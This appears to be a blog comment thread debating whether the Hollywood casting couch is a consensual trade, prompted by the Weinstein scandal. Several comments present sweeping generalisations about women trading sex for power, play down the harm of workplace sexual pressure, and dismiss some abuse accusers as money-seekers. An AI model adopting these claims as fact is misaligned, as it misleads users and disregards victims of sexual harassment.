            Our current social policy basically denies this aspect of human nature, and demands everyone pretend that all boss/employee relationships are tantamount to rape when in fact most of them are entirely voluntary. Even in the more marginal cases, ‘have sex with a powerful man’ is about as damaging to women as ‘have sex with a hot swimsuit model’ is to men.

            The exception to this rule would be the case where the woman doesn’t actually perceive her boss as having any real power, or where his behavior is otherwise so repulsive that the power angle isn’t enough to make him palatable. But if he lacks power he won’t be able to enforce his demands, so we’re down to a fairly small fraction of problematic cases. In those instances it seems perfectly reasonable to expect the woman to take responsibility for her own mental health, and simply refuse the deal.

            It’s also worth pointing out here that all of the more serious forms of retaliation a spurned boss might resort to are crimes in their own right. So in an honest industry the maximum cost to the woman of such a refusal is relatively modest. She might have to change jobs, or transfer to another department, or cultivate someone else as a patron. But these are the same sorts of decisions we expect people to make in response to other job factors, so that’s fine. It’s only the corrupt nature of the Hollywood cartel, and the absurd level of competition for acting jobs, that allows them to exert undue influence.

            • >What makes you think these women are doing permanent damage to themselves?

              Most won’t be. I noted in the OP that women are attracted to power. I’m not sure what you’re arguing against.

          • As a libertarian I want to say that any consensual trade is ethical. But offering a trade of the form “do yourself permanent damage to keep your job” is so inequitable that I don’t think it would even be offered if not for a coercive advantage. I’d take a lot of persuading that there’s real agreement there.

            Then may I infer that jobs which involve big health risks, such as handling hazardous materials, should be presumed nonconsensual and banned? That’s where your reasoning leads, and I don’t buy it. That’s also approximately the state’s rationale for sex work being illegal.

            Traditional marriage, after all, is a form of sex work, and before the 20th Century was always primarily an economic arrangement. We all do what we think will improve our own bottom lines, and I don’t see anything wrong with that, as long as the sex requirement is presented up front and not introduced by surprised after the worker has invested a lot in that particular job.

            • >Then may I infer that jobs which involve big health risks, such as handling hazardous materials, should be presumed nonconsensual and banned?

              I said “do yourself permanent damage to keep your job” – applies not to a situation where you knew the risks going in and contracted for them, but rather one where your employer springs that kind of risk on you out of nowhere.

              You yourself seem aware of this distinction, judging by your last sentence.

  15. Even if you leave aside all the creepy angles of this, and look purely at the contractual side, it seems like guys that do this are still guilty of breach of contract. Not with the starlets, assuming for sake of argument that everything there is above-board, but with the studios. These firms aren’t generally one-man concerns, they’re big public companies. And like anyone else who abuses their position within a company to take personal benefits for a hiring decision, they’re ripping off the company in the process.

    • >Even if you leave aside all the creepy angles of this, and look purely at the contractual side, it seems like guys that do this are still guilty of breach of contract. Not with the starlets, assuming for sake of argument that everything there is above-board, but with the studios.

      Agreed. And likely with their wives, if they’re married.

      I was ignoring those breaches to focus on the question of the starlets’ agency in all this.

    • OTOH, it’s possible that the studios could pay these guys less money on the grounds that the job includes attractive fringe benefits.

  16. As far as I can tell, “sexual harassment” is rooted in a desire to return to traditional sexual ethics, without admitting the rational basis on which those ethics rest, that human sexuality is naturally directed toward founding and preserving families and is perverted when used for other purposes. On the traditional theory, when a movie mogul beds a starlet on the understanding that he will recommend her for roles, both are in the wrong because neither has any intention of marrying the other, or of having children. If a mogul uses threats to induce starlets to sleep with him, he adds extortion to prostitution, which increases his culpability.

    Without that rooted assumption on the purpose of sex, a large part of what’s called “sexual harassment” becomes no more than a request for services that the requestee didn’t want to provide, analogous to a restaurant refusing to serve a diner. But when it comes to sex … who, other than a hard-core libertarian considering the matter purely academically, really regards the dating scene as a commercial market? And does anyone think Hollywood’s “casting couch” is simply an implicit contract, on the same level as buying groceries?

    • Your statement of the natural direction of human sexuality is refuted by a great deal of research.

    • I think the moral difference looks like this:

      “Have sex with me and I’ll become your mentor and help further your career”

      VERSUS

      “Don’t have sex with my and I’ll make sure you never work in this town again.”

      I find both alternatives objectionable, but one is merely very creepy, while the other is probably criminal. Given all the nuances of human interaction, it can be very difficult to tell where one shades into the other, so it is highly practical to ban both behaviors. Also, a producer who regularly breaks out a (verbal or written) contract which offers the “have sex with me and I’ll become your mentor” option is probably laying himself open to other kinds of problems. Imagine a lawyer saying, “Mr. Producer, did you offer the same contract to ALL your starlets?” or “Let me get this straight, you offered Mrs. Starlet a contract which alienated her husband’s affections?” Quite the swamp, any way you parse it.

      • A particularly insidious aspect of this is that if the abuser is well-known to be that, the woman may decline the sex, get the part anyway, and then suffer the rumors that she got the part by sleeping with the producer (director/whomever). This makes people less likely to take reports of abuse seriously, because the picture gets muddied with baseless rumors that seem to be aimed at putting down the women. The example I’m thinking of here is Jennifer Lawrence, whom many apparently assumed got her career by sleeping with Weinstein (no idea if she did, but I can see her getting hired for sheer talent and looks), and George Clooney, who said he didn’t want to pay attention to rumors about women (not that he had a high opinion of Weinstein anyway).

  17. ESR> Is the casting couch a fair trade?

    TL,DNR: Casting couches in general may be fair. Weinstein’s casting couch was not.

    Generally speaking, my bottom line on all sexual arrangements is that if everyone involved is a consenting adult, they’re nobody else’s business. So my answer to the general case is “presumably yes” or “none of my business” — whichever you prefer.

    In the particular case of Mr Weinstein, though, there are three additional problems: Coercion, breach of trust and and abuse of power. You already acknowledged in your original post that many of Weinstein’s sex acts were presumably non-consensual. So I’m going to leave this point aside.

    Moving on to breach of trust, then. Nobody forced Mr Weinstein to profess feminist values in his speeches or signal feminist virtues through his charitable giving. He chose to do that. Having chosen it, he owed it to the women he met that he would follow through on his professed values. They had a moral right to trust that he would. Treating women as sex toys is utterly inconsistent with feminist values, independent of their eventual consent. So Weinstein’s treatment of the starlets constituted a breach of trust, and that made the transactions unfair.

    On top of that, Weinstein was a mogul in a highly concentrated industry. This gave him power over would-be starlets — not quite monopoly power, but similar — that exceeded a typical law-firm partner’s power over an intern. There are far more law firms than movie studios, and typically more partners per law firm than moguls per movie studio. When Weinstein abused this power to solicit sex from the waitress/starlet, that was bad in the same sense as monopoly power is bad under economics-101 principles. And it was unfair independent of the sex. If he had used it, instead, to solicit catering freebies from the restaurant for a private party at his house, that would have been equally unethical.

    So, to repeat: Casting couches in general may be fair. Weinstein’s casting couch was not >

    • >Moving on to breach of trust, then. Nobody forced Mr Weinstein to profess feminist values in his speeches or signal feminist virtues through his charitable giving. He chose to do that. Having chosen it, he owed it to the women he met that he would follow through on his professed values. They had a moral right to trust that he would.

      That is a fair point. I agree.

      It doesn’t bear on the question of whether the women in the restauranteur report were “victims” or making a consensual trade, though.

      >When Weinstein abused this power to solicit sex from the waitress/starlet, that was bad in the same sense as monopoly power is bad under economics-101 principles

      Ahhh. This takes more careful analysis. Because what’s ‘bad’ about monopolies is that they charge rates that would be above those in a more competitive market. On the other hand, there is such a thing as a natural monopoly to which you can’t apply that hypothetical because there can’t be a competitive market – the monopoly’s pricing power is bounded only by the level at which its customers bail out to substitute other inputs to whatever they’re producing.

      It’s not entirely clear that Weinstein and the small number of equivalent slimeball moguls don’t constitute a natural monopoly on the relevant good, which is acting slots in productions big enough to make a starlet’s reputation.

      The question here is whether (a) we can imagine a more competitive market for those slots, one in which the slimeballs have less power, and (b) whether the slimeballs are rigging the market to retain that power.

      I think the answers to both questions are unhappy. The slimeballs don’t have to rig anything; the capital scale of the industry and the limited number of opening weekends in a year constrain production in a way that favors their monopoly.

      >So, to repeat: Casting couches in general may be fair. Weinstein’s casting couch was not

      I think that is a reasonable – though still arguable -position.

      • I love the idea that one of the few natural monopolies in need of government regulation is an industry which insists on the need for greater regulation of everyone else. This could be fun!

      • I think we can imagine a more competitive market, and it’s happening. Look at the explosive grown in YouTube creators, for instance. It’s a drop in the bucket in terms of money compared to the movie industry, but it’s starting to be competitive in terms of the number of eyeballs.

        I like to think of a future where there’s a much bigger range in content, from sources, to topics, to budgets. More distributed ownership of the means of production, if you will. Which appears to be naturally occurring largely because of YouTube and Twitch. I’d love to see more players in this market as well.

        In this world, I’d guess because of the massive supply, the ceiling on what acting/stardom can deliver will be lower, but the total value of content created will be higher. More opportunity for more people sounds like a better tradeoff for me.

        Such a world doesn’t completely remove from possibility the kinds of abuses Weinstein committed — there will always be slimeballs. Hopefully, though, it will limit the damage they can do to the career of a hopeful starlet, and thus remove the credibility of his threats.

  18. Oh, hahaahahahh!

    BWAHAHAAHAHAHAHAHAHAHAHAH!!

    Whatever moral or ethical objections one might have to the casting couch the logic behind it’s existence is inevitable. But Hollywood isn’t the only acting game in town. Voice actors can be blob monsters for all the audience cares so long as they have a good voice and good acting chops. In fact voice actors need *better* skills as they can’t rest on body language to emote. Voice Acting also doesn’t have the glamour associated with it that Hollywood does.

    Why is this relevant? Because for many years now – but particularly the last 3 years – we have been endlessly informed that the videogame industry is horrifically sexist and misogynist. But the industry doesn’t care about the attractiveness of the actors. Usually the face of the character and the VA are totally unrelated (notable exceptions that I am aware of are the entire cast of Call of Duty: Infinite Warfare, Bastila Shan from KOTOR, and Miranda Lawson in Mass Effect 2), and it is not uncommon for the VA and motion capture actor to be two different people. No matter how popular Troy Baker gets his face will never matter. And while Jennifer Hale is by no means ugly, she did not become the prolific actress that she is on her looks.

    All of this predicts that the casting couch will be rare to non-existent in the supposedly “sexist” and “misogynist” videogame industry. Meanwhile Hollywood takes every chance to preach to us about The Patriarchy.

    Ah well, when have moral crusaders ever not been rotting putrid cesspools of corruption.

  19. While being sexy to millions of men is arguably a basic job skill, sexual activity with a single man is not. It is, at best, a partially transferable skill.

    Taking the comparison away from sexuality, it would be like someone applying for a programming job and being asked to be a typist first.

    The outrage of that comparison is, of course, missing (we do not associate extreme values with typing, for or against).

  20. There are 2 economic issues with the “casting couch” behavior:

    First, it’s a scam. I notice that no one has accused anyone of actually *paying* for sexual services. It would be different to say “you must be a $1000/hr prostitute to qualify for an acting position”. They are asking for up front services and compensating with vague promises. We have demonstrated in many application areas that allowing scams weakens the overall economy.

    Second, it damages the industry as a whole because the actual selection basis and the alleged selection basis is different and ultimately lowers the quality of the product. (Caveat: I could probably construct an argument that it raises the quality of the product based on secondary skills or commitment or some such. I think such arguments, including my argument that it damages the quality of the product, are really statements of faith unless they can be tested.)

  21. As far as the individual ethics of the casting couch, what we have is an individual who desires to supply one service being required to provide another (without compensation) in order to be considered.

    Regardless of how consensual this exchange is between the two parties, western economic thought is that this is unethical and damaging to all parties. (Other cultures do not seem to share this opinion. I’m not going to construct an argument right now on whether this view of “bribery” is a positive or negative market force.)

    (Odd thought: perhaps the real test of valid acting abilities is testing the ability to pretend “flirty, giggly” enthusiasm while performing sexual activities they dislike.)

  22. I don’t discount the trade value of an attractive law associate. Or, to put it more accurately, I’ve yet to meet one who discounted the value of her looks and failed to work it.

    – Krumhorn

  23. Somewhat unrelated: when rape accusations were coming out in bulk against Bill Cosby, there was an argument raised that some of them may have done so in part because Cosby was wealthy and it got them attention. Suppose this is plausible. To what extent might this be happening in Weinstein’s case? Alternately, how credible are the claims on one relative to those on the other?

    • >Suppose this is plausible. To what extent might this be happening in Weinstein’s case? Alternately, how credible are the claims on one relative to those on the other?

      I didn’t follow the anti-Cosby claims particularly closely, so take my evaluation of him with some grains of salt.

      It looked to me like the first couple of women coming out against Cosby were likely genuine, but a lot of the later ones were obvious trash looking to score a quick buck by making claims that Cosby at that point could not credibly deny.

      I don’t think we’ve reached the point where we’re starting to see trash making false claims about Weinstein. I have little doubt that will occur.

      I think the allegations against Weinstein are both more serious and more credible than those made against Cosby. I’d still assign a very low but nonzero probability to the hypothesis that Cosby was entirely framed. I don’t believe that for a second about Weinstein.

      Part of the reason for that evaluation is my read on both men. Cosby seemed to want pretty normal things, sexually speaking. Weinstein, on the other hand, seems to be a a sick, paraphilic creep who got off as much or more on humiliating and disgusting women as he did on having them service him.

      I look at Cosby and I see a man who had enough decency in him that if and when he went over the line with women he was probably ashamed about it. Weinstein, on the other hand, ugh. He’s ugly all the way down. Not only is his remorse obviously fake, he doesn’t really seem to care that the fakery is obvious. He’s going through a cynical parody of contrition because he can’t imagine that anyone could actually mean it.

      Some other comparisons:

      This morning I was reading some tell-all about Hugh Hefner’s sex life in the comments on Ann Althouse’s blog. I gotta say that compared to Weinstein he seems to have been almost innocent and charming. He wanted to fuck lots of beautiful women, he recruited them without pretense, and he kept his compensation promises. No rape or roofies for him.

      Bill Clinton, on the other hand…well, I won’t say he was as bad as Weinstein, but he’s always manifested a kind of sociopathic indifference to the women he used – and of course, there were the credible rape accusations. Like Weinstein without the paraphilia. Or at least without more than a relatively small trace of it.

  24. >Odd as it may seem, I’m arguing for the woman’s agency to be respected in both cases.

    There is another party affected by the rule… the woman who wants to say ‘no.’ Should we protect that women’s choice? Or are we willing to tell them to find a different career?

    It’s the same moral question comes up with steroid testing for athletes. On one hand, it’s the athlete’s body to do with as they please. On the other, you’re simply not competitive at the highest levels unless you agree to take that risk.

    • Well, in a free market, this is analogous, to a first approximation, to a hundred people going after a single job, and one of them being willing to accept a much lower salary than the others. The others are affected, and if they can’t or won’t take that salary, then yes, they have to find another career. This is considered preferable, esp. when you consider that the employer could always elect not to offer the job in the first place.

      To a second approximation, it’s analogous to that one person being willing to do something that at least some of the rest consider non-virtuous. This is where Eric appears to be – the virtue of the act is subjective, and Weinstein and some actress may agree on it, and Weinstein has the right not to hire a given actress.

      You might not like that. I don’t like it; it makes me not want to watch Weinstein films anymore. But unless we’re alternate studio moguls, there’s not much we can do beyond that.

      • I agree with both points by and large, but:

        1) I don’t want to put words in Eric’s mouth, but he doesn’t appear to argue that it’s all subjective. Otherwise, why exactly can’t young female legal associate make the same trade if she believes she is better off? Instead, he seems to be arguing for an objective standard…whether sexual attractiveness is part of the job description.

        2) I’m not sure I agree that there is ‘nothing’ we can do. Sexual harassment laws, if nothing else, increase the transaction costs for these exchanges. One could argue there are too many false positives and/or false negatives, or maybe even argue that legalization would help more women on net, but I’d bet the laws decrease the number of offers and completed transactions.

        • >Instead, he seems to be arguing for an objective standard…whether sexual attractiveness is part of the job description.

          Partly that, and partly whether women know going into an occupation that an employer’s sexual privilege is more or less accepted practice and they therefore have that priced into their expectations when they decide to make a living that way.

          I think Hugh Hefner’s behavior is a good thing to compare here. Women who took jobs at the Playboy Mansion knew perfectly well what they were getting into; Hefner never hid his agenda. AFAIK, none of them has ever turned around and claimed to be exploited or abused.

          • Actually, there was one woman who was a “girlfriend” of his for several years, apparently leaned on him really hard to marry her, was unsuccessful at her mission, and hired a ghostwriter to bitterly denounce him for all kinds of alleged misbehaviors.

        • >I’d bet the [anti-harassment] decrease the number of offers and completed transactions.

          Probably true, but they have nasty second-order effects. One is that a large and increasing percentage of men simply refuse to mentor women at all in order to avoid the risk of false accusations. Feminists are beginning to notice that this is a problem.

          • Feminists are beginning to notice that this is a problem.

            And they’re blaming men, as a population.

          • VP Pence (in)famously has a rule that he will not be alone with a female other than his wife. There are people actually arguing that he does this so that he won’t sexually harass/rape the women in question, as if false accusations (Duke LAX, etc.) aren’t a thing.

  25. The old Bertrand Russell joke comes to mind:
    BR: Will you go to bed with me for $1 Million?
    Woman: Well, yes I would.
    BR: for $50?
    Woman: What do you think I am?
    BR: Madame, we have established what you are, we only have a difference about the price.

    One other element is if sex is merely a tradable commodity, then why the special legal status of rape, why is it legally treated as a theft of service?

    Agency? Yes, but sex can’t be some sacred thing whose violation has penalties similar to murder, and at the same time be given away or traded. Pick one or the other.

    • >One other element is if sex is merely a tradable commodity, then why the special legal status of rape, why is it legally treated as a theft of service?

      I think you mean to ask why isn’t treated just as a theft of service? And that seems obvious to me.

      Rape – and I mean here to especially single out penetrative rape – is both physically and psychologically invasive. The law gives special notice to it as a deep violation of personal autonomy and security.

      >Yes, but sex can’t be some sacred thing whose violation has penalties similar to murder, and at the same time be given away or traded. Pick one or the other.

      You only think it’s a contradiction because you’re being Freudian where you should be Adlerian. If you change the emphasis in the phrase “sexual violation” from the sex to the violation both our moral intuitions and the law make more sense.

      • > The law gives special notice to it as a deep violation of personal autonomy and security.

        But that just begs the question: “why?” We treat rape differently than mere battery.

        • >But that just begs the question: “why?” We treat rape differently than mere battery.

          I continue to not understand why you find this puzzling. I would certainly prefer an extremely severe beating to being raped. On the whole I expect heterosexual men are twitchier than women about this, but women report the same preference.

          • I wholeheartedly agree … even if the battery causes greater physical/objective damage (i.e., more bleeding/bruises, broken bones, long term impairment, etc). That’s my point. There is something about rape that makes it worse than a mere violation of personal autonomy.

            As Paul points out above, if we allow casting couches, competition will de facto force anyone who wants to be in the movie business to bargain away whatever that “something” is that makes rape particularly awful. So, my question is, do we want to protect the practical ability of someone in the industry to say ‘no’?

            And maybe we don’t… I’ll note we do allow people to bargain using their willingness to endure physical pain (e.g., athletes, roofers); their willingness to risk danger (e.g., athletes, military, police, deep sea fishermen); their willingness to give up bodily autonomy (e.g., health care workers, military, fashion industry(probably)); willingness to give up privacy (e.g., national security industry, transportation industry), etc. But, oddly enough, not their willingness to work in a smoky room.

            • >As Paul points out above, if we allow casting couches, competition will de facto force anyone who wants to be in the movie business to bargain away whatever that “something” is that makes rape particularly awful.

              Ahh. Now I understand your point. But I don’t agree.

              Surrendering something as part of a bargain is not psychologically equivalent to having it brutally taken. So you can’t use the detestation people feel about rape to argue that sexual bargaining by starlets is exceptionally awful. These are not psychologically or morally equivalent situations.

              • Surrendering something as part of a bargain is not psychologically equivalent to having it brutally taken.

                Even if it’s your sense of purity? Because that’s what seems to be bothering OldCurmudgeon. And me, for that matter.

                Let’s go over the precons again: a young starlet wants a shot at big movies. She knows that the roles she wants require her to be a sex symbol. She knows she has to work with a mogul who has the prerogative of not hiring her. She meets the mogul in private. Mogul seems friendly. She’s comfortable with all of this so far. And then the mogul says or implies that she has to have sex with him in order to get her first role. Her discomfort begins here, and rather sharply.

                I think we all agree that mogul still has the prerogative of not hiring her. And that we also agree that mogul is being a scumbag (by our standards). And I think we agree that if she agrees to have sex, that’s all between her and that mogul.

                The only question is what ought to happen if she declines. Clearly, if every starlet declines, then that mogul makes no movies and isn’t a mogul anymore.

                So, what if some starlets accept? Enough that that mogul can make his movies, the public pays to watch them, and those starlets are satisfied enough to keep that custom going? Is that system still so unfair that it justifies sending in people with big sticks to force that mogul to not be a mogul anymore?

                Do we make a case that the ones who accept are nevertheless being pressured unfairly? That perhaps that mogul is exploiting their lack of information about the industry, and their short-term need to make rent next month? In truth, I know of no market exchanges where moguls offer $1-10M signing bonus plus a checkbox on “requires sex”, where aspiring stars can select the package deal they prefer. That starlet may be left wondering if every mogul is like that, given that it’s a “sex symbol to millions” role, and if they decline, they might miss their big chance… but at the same time, they’d strongly prefer not to have to make that tradeoff if they know there are better moguls out there and they can instead focus on working extra hours at their temp job…

                Such is the problem with unspoken rules about taboo acts…

                • >I think we all agree that mogul still has the prerogative of not hiring her. And that we also agree that mogul is being a scumbag (by our standards). And I think we agree that if she agrees to have sex, that’s all between her and that mogul.

                  I agree with all of this.

                  >Such is the problem with unspoken rules about taboo acts…

                  Well analyzed. I don’t think I have a pat answer, so I have to fall back on my default of not interfering unless there is evidence of coercion or fraud.

                  • To the extent that I have a problem with these sorts of deals, the problems are that they’re essentially unspoken, unwritten deals that it’s taboo to ask about, and that, because it seems, for want of a better word, para-coercive. It’s not quite coercive per se, since you can opt out, but because of the pressures mentioned above, opting out means (probably) opting out of the whole industry. Nobody’s offering better terms, or if they are, there’s no way to find that out in advance.

                    That seems fairly close to a contract of adhesion – take-it-or-leave-it terms, no (or grossly unbalanced) bargaining power, etc. That doesn’t make it unethical in itself, nor does it make a compelling case for depriving the starlets in question of their agency in such matters, but it does make me a bit concerned that the moguls are seriously flirting with gross abuses of power in these dealings.

                    • This is so precisely my reaction to this that I wonder if I’m sleep-posting as Jade. (Better check the IP addresses, Eric!)

                      What would be a good way to address deals that appear, as Jade says, “para-coercive”? (I’d probably say “quasi-coercive” or “crypto-coercive”, but I’m just playing at that point.)

                    • >What would be a good way to address deals that appear, as Jade says, “para-coercive”? (I’d probably say “quasi-coercive” or “crypto-coercive”, but I’m just playing at that point.)

                      By naming and shaming people who propose them.

                • >Clearly, if every starlet declines, then that mogul makes no movies and isn’t a mogul anymore.

                  On second thought, this isn’t true. There are enough actresses already past the starlet stage looking for work, that the mogul monopoly can probably survive years of continuous starlet refusals without having any casting problems at all.

                  • Ah, but that’s a tradeoff on the mogul’s end, then. He’s passing on sex with unemployed starlets in return movies with established actresses. …Who don’t have to work for a mogul who demands sex, so he won’t get it there, either. In fact, one could expect them to decline even more, as he doesn’t have the asymmetric information advantage.

                    Maybe you’re saying he still gets to be a celibate mogul. That’s surely possible. Not much hope for a just world there, unless actresses turn him down based on past reputation. Which is also possible.

                    Either way, this doesn’t look like good news for starlets. Which suggests that some form of intervention might be worthwhile.

                  • I would ask the question, “why is the mogul doing this except for the pleasure of coercing?”

                    Let’s imagine that I am a mogul. I am a multi-billionaire. I have the ability to hire the kind of prostitutes who charge (and, in terms of sexual pleasure, are worth) thousands an hour. I can do this out of petty cash. I can afford to have the world’s top prostitutes “on call” if that’s my desire. I can probably take one of the world’s top prostitutes as a paid mistress if that’s my preference and in doing so I am guaranteed much better sex in the exact sexual style of my choosing than I can get from a newly-hatched sex-kitten from Tulsa. So why am I doing this except to coerce?

                    • >So why am I doing this except to coerce?

                      I have no doubt whatsoever that you are correct. It fits with Weinstein’s known paraphilic behavior.

                      As revolting as you no doubt find this, trust me that anyone with the mindset of a libertarian is squicked even worse. Sexual indulgence a la Hefner seems quite innocent by comparison.

                • You’re completely missing the elephant in the room here.

                  Women are attracted to men they perceive as having more power and status than themselves, which the mogul unquestionably does. Most of them are also perfectly willing to trade sexual favors for practical benefits, as long as the nature of the trade isn’t too blatant.

                  So a large fraction of those starlets will volunteer to have sex with the mogul, in order to boost their career prospects. Unless he’s a spectacularly disgusting person many of them will also feel genuine attraction to him, and will be quite eager to have sex with him.

                  Should the mogul refuse them all? On what grounds? But if not, this obviously sets the bar for any future starlets competing for his consideration.

  26. > One other element is if sex is merely a tradable commodity, then why the special legal status of rape, why is it legally treated as a theft of service?

    For one thing forcible rape is more like robbery than theft, and so gets treated more like bank robbery than like stealing an unoccupied car. (To further the analogy, banks give out money all the time, in the form of loans and withdrawals. But bank robbery is treated as a really serious crime not too far short of murder. And no one insists “Pick one or the other.”)

    Another is that it’s hard to prove rape to the beyond-a-reasonable-doubt standard, and not all that easy to prevent rape. (Money can be locked up in vaults. Locking up women in harems has difficulties.) So the punishment is increased in an attempt to compensate.

  27. @Paul Brinkley: Either way, this doesn’t look like good news for starlets. Which suggests that some form of intervention might be worthwhile.

    What sort of intervention do you think might be possible?

    For both actors and actresses, the movie business is brutally competitive. There are only so many parts in major productions, and getting one has far more to do with luck than anything else. There will be a line down the block at casting calls, but only one will get the part.

    And I doubt most starlets get parts by putting out for producers.

    Consider the nature of the industry. Alpha and Omega Studios greenlights a film for production, and hires a producer to manage the effort. The producer hires a director and other senior staffers.

    Movies are fantastically expensive to produce, so the first challenge for Alpha and Omega is coming up with the money. They are unlikely to be able to fund the entire production.

    An old friend who had been watching various films asked “I see titles of Producer and Executive Producer. What’s the difference?” “That’s easy. Because movies are so expensive to make, some of funding comes from other entities. The Executive Producers you see represent entities that put up money, and are there protecting their employer’s investment. Because their employer put up a lot of money, they get to pee in the soup.”

    Who gets what parts is a complex matter. The marquee stars get selected in part because they are assumed to be reasons why the audience will go to see the films, and the producer, with input from funding sources, is likely to select them. Lesser parts may be handed out by the director, based on screen tests. There will be a Casting Director who manages the selection process.

    Putting out for a producer might be seen by a starlet as a shortcut. She gets a part because the producer gives her one, and bypasses the usual selection process. But she’ll be one of what I suspect is a rather small minority. Most starlets go to a casting call for a production, and get rejected. Getting rejected is the usual state until you are lucky enough to establish yourself. And even if she thinks it’s a decent trade-off, she still has to meet the producer and signal availability.

    And it’s not just feature films. If you are a working actor/actress, you take parts that come along. It may be a minor part in a film. It may be a role in a TV episode. It may be a role in a play. It may be a spot on a commercial. No matter, you’re an actor, and it’s a part. A chap a friend and I talked to years back was a waiter at a restaurant where we had lunch. Asked by my friend what he did when he wasn’t waiting, the answer was “I’m an actor, like half the other waiters in New York City restaurants!” For that matter, I once worked for a high tech oriented market research firm, and many of the folks manning the phones were aspiring actors, musicians, artists and the like, working in MR because it had flexible scheduling and they could chase their dreams at the same time.

    Like any other hugely competitive business, the majority of candidates won’t succeed, and may be faced with the realization that they’ll need to fid something else to do for a living.

    >Dennis

    • What sort of intervention do you think might be possible?

      That’s a really good question. My flip answer alludes to that comment I made about some sort of exchange where new actresses (or anyone, really) get to know the going rate for talent. In other words, we throw information at the problem.

      Clearly, we’re not going to get a report of going rates where sex is part of the package. Somewhat less clearly, though, is the fact that we’re unlikely to get a uniform report that reports nothing but wages, either. Major movie deals are controlled by very small groups of people. (How many major studios are there?) That means the actual payout is going to be very sensitive to how any one of them feels about a given hire. And that payout is not just in money, but in fame. (It might even be paid out in sex, though that’s harder to measure since the subject is so taboo.)

      Coming back around to Eric’s point: some actresses (side note: actors too) probably expect this, and play this market accordingly. If there’s a lot of money and fame gathered in one place and you want it, you’ll go after it; if there’s enough, you may even prefer it to your own chastity. And you’re not automatically innocent just because you just arrived in Hollywood; people are smart enough to figure this out anywhere. And I’m making no value judgment here in either direction.

      Even if most of the producers are ethical, the payment to talent is still going to be sensitive to the talent’s box office draw, a formula no one has derived yet, despite spending millions trying to figure it out. No formula, no going wage, no yardstick for newcomers to rely upon.

      But anyway. I agree that putting out happens only in a minority of cases. And I agree that the market for AAA roles is undersupplied and underdemanded, and all that follows from that. Plus, I’m opposed by default to outside intervention, and I’m wary of cures that are worse than the disease.

      So the only “cure” that looks both practical and ethical here is for people who care enough about how the Hollywood sausage is made to divert their own resources to finding out more about it. In reality, I see this as likely to increase as a result of Weinstein, but then wearing off over time until it’s back to status quo. I predict no permanent reporting coming from this.

  28. I would like to point out that if the various rumors are to be believed, the victims of this kind of behavior aren’t limited to women.

  29. @Eugine Nier:The question is how does it work? Is there some seedy smoked filled room where all the producers get together and say “so-and-so refused my sexual advances, no one else hire her”?

    Hollywood is fundamentally a small town. The movers and shakers tend to know each other. But I really doubt it would be “She didn’t put out for me. Don’t hire her.” Not everyone will be a womanizing creep who will accept that as a reason. It will be more like “She’s impossible to work with, crazy on the set, nasty to the crew, doesn’t get along with other cast members…”, and she won’t get cast because she’ll be seen as toxic. It won’t be in a smoke filled room, either. It will be at a power lunch or in a fancy bar where such folks hang out.

    >Dennis

    • I think it is far more simple than that.

      Have you talked to someone else? Yes, Harvey Weinstein. You didn’t get any work? No.

      End of conversation.

  30. As I see it,
    Offering opportunities in exchange for sex: Just a deal, not a crime. But, it reveals personality problems. And, see below.

    Threatening anything: A crime against the threatened.

    Using power granted by an employer or partnership for any personal advantage: A crime against the company. The company expects that its agents will act to the common benefit and not make biased decisions for personal gain.

  31. >One obvious objection to this argument is that we’d get a result nobody thinks is acceptable if Weinstein were, say, a senior partner at a law firm and the woman were an intern or new associate.

    Wait, what? Nobody think’s that’s acceptable? Methinks there is a lot of difference between the senion partner bullying the intern into sex, or the intern seducing the senior partner for a promotion. The second is obviously far more acceptable, and the kicker is that it is damn hard to tell the difference unless you have the whole thing on camera.

    Now one can argue that the second is still unacceptable – to the other employees, interns, who are more deserving of a promotion by their actual job skills.

    But, I mean, just what kind of ideal world do those people live in? To expect anything like fairness or suchlike being a norm? You could argue that a free market punishes firms who do not promote the actually best people. But first of all it is not a free market, and second even a free market would only do it if customers were rational instead of choosing a law firm on the basis they are playing golf with someone whose brother is senior partner there. What we can actually say is that if all other things were alike, a free market would punish such firms, but all other things are no alike, in other words, there is an effect of meritocratic firms being more successful but this effect is fairly obviously a weak one.

    So why would that be so obviously unacceptable? I am entirely used to people all kinds of entirely unfair advantages due to connections and suchlike. If the hot dumb girls gets the promotion over the smart ugly girl by fucking the boss that sounds just like life. Men get promotions due to being tall. I always had the tall privilege, it seems. Others not. Why even expect fairness.

    ESR I think this way of thinking sounds like that despite all your crimethink you still have on the emotional level Blue Tribe, idealistic sensibilities, cannot really get cynical enough?

    • >Why even expect fairness.

      Because it goes with our egalitarianism.

      This another one of those U.S./Europe cultural differences that is not so easy to see even if one has lived in both places. In the U.S. your stated position would be considered so cynical that it would cast some doubt on your character. We know we don’t always live up to our ideal of fairness, but the American response to such failure is to become righteously angry about it and demand change.

      No, this isn’t a Blue Tribe thing. It’s all of us.

      • Yeah, but I would expect libertarians to be the least idealistic group. When people get too worked up about moral issues it is rather impossible to have the kind of restraint (not using governmental power) libertarians want. Like look at how everybody else is so worked up about gays, Christians thinking it is morally terrible what they do, Liberals thinking it is terrible that people are prejudiced against them, Libertarians thinking the whole thing just shouldn’t be an issue at all, leave people be gay or be prejudiced and just get on with your life. This, to me, seems like morality burning less hot, a more detached “life is life” attitude. The only way to that kind of live and let live society is to have rather relaxed mores and not much idealism, I think. Putting it differently both Liberals and Social Conservatives have their own virtue signalling spirals and Libertarians seem to get at some level that the kind of restraint they want is to generally not engage in such spirals.

        (By this way if I get it right this is precisely why James Donald is talking about a state church, not to have an organization that bollocks people if they aren’t being virtuous enough but precisely to have an organization that stops virtue spirals: who sends a “don’t be holier than the pope” types of messages and generally stops people from bollocking each other if they find each other not virtuous enough. You probably find the idea crazy. The implementation may be. Yet the requirement spec, that something somewhere must emit strong “don’t be overly moralistic, don’t try to save everybody’s soul, mind your own business” signals if you want to have that kind of restraint is IMHO clearly right.)

        • >Yeah, but I would expect libertarians to be the least idealistic group.

          You’d be utterly wrong. American idealism burns hottest in us. Even some of our opponents understand this; in fact the conservative knock on libertarianism is that it’s too idealistic.

          The libertarian way to moderate the force of moral fervor is to forbid the use of force in its service.

          • @esr: I’m not sure “too idealistic” is the correct objection. “Unrealistic” may be closer. I know I tend to part company with a lot of Libertarians over just how possible I think it is to fully implement Libertarian ideals in practice.

            The libertarian way to moderate the force of moral fervor is to forbid the use of force in its service.

            What qualifies as “force”?

            Most social controls in a society don’t use force as it is usually defined, and don’t need to. Society is a game played by rules. If you don’t play by the rules you may find that no one will play with you, and you’ll be in dire straits indeed.

            Most of the arguments I see about this sort of thing come down to “The rules are wrong and should be changed!” The problem is that the proposed changes tend to reduce to “Change the rules so that I win by default!”

            >Dennis

